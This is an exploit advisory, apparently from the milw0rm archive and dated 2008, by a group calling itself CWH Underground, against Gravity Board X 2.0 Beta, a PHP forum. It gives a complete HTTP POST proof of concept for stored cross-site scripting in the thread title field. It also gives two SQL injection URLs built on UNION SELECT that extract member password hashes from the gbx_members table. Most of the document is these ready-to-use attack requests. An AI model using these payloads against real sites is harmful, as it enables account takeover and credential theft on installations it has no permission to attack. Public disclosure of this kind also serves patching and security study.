Gravity Board X 2.0 Beta - SQL Injection / Cross-Site Scripting



Platform:

PHP

Published:

2008-06-12

====================================================================
 Gravity Board X 2.0 Beta (SQL/XSS) Multiple Remote Vulnerabilities
====================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE : 12 June 2008
SITE : www.citec.us


#####################################################
APPLICATION : Gravity Board X
VERSION     : 2.0 Beta
DOWNLOAD    : http://downloads.sourceforge.net/gbx
#####################################################

+++ Remote Stored XSS Exploit +++

    When you create new thread in forum, you can inject javascript in title field.

-----
 POC
-----

[+]POST http://192.168.0.4/gbx/index.php?action=postnewsubmit&board_id=1 HTTP/1.1
[+]Host: 192.168.0.4
[+]User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
[+]Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
[+]Accept-Language: en-us,en;q=0.5
[+]Accept-Encoding: gzip,deflate
[+]Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
[+]Keep-Alive: 300
[+]Connection: keep-alive
[+]Referer: http://127.0.0.1/gbx/index.php?action=postnew&board_id=1
[+]Cookie: PHPSESSID=507c211a3be817f7e7fcf51b3886665a
[+]Content-Type: application/x-www-form-urlencoded
[+]Content-Length: 128
[+]subject=POC+%3Cscript%3Ealert%28%27XSS%27%29%3B%3C%2Fscript%3E&FCKeditorContents=POC+XSS+Thread&formsent=&board_id=1&submit=Post

+++ Remote SQL Injection Exploit +++

** magic_quotes_gpc = Off **

-------------
 POC Exploit
-------------

[+]http://[target]/[gbx_path]/index.php?action=getsearch&orderby=dateposted&searchquery=')/**/union/**/select/**/pw/**/from/**/gbx_members/**/where/**/memberid=1/*&byuser=&searchin=submess
[+]http://[target]/[gbx_path]/index.php?action=viewboard&board_id=1'/**/union/**/select/**/1,pw,3/**/from/**/gbx_members/*

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# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
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# milw0rm.com [2008-06-12]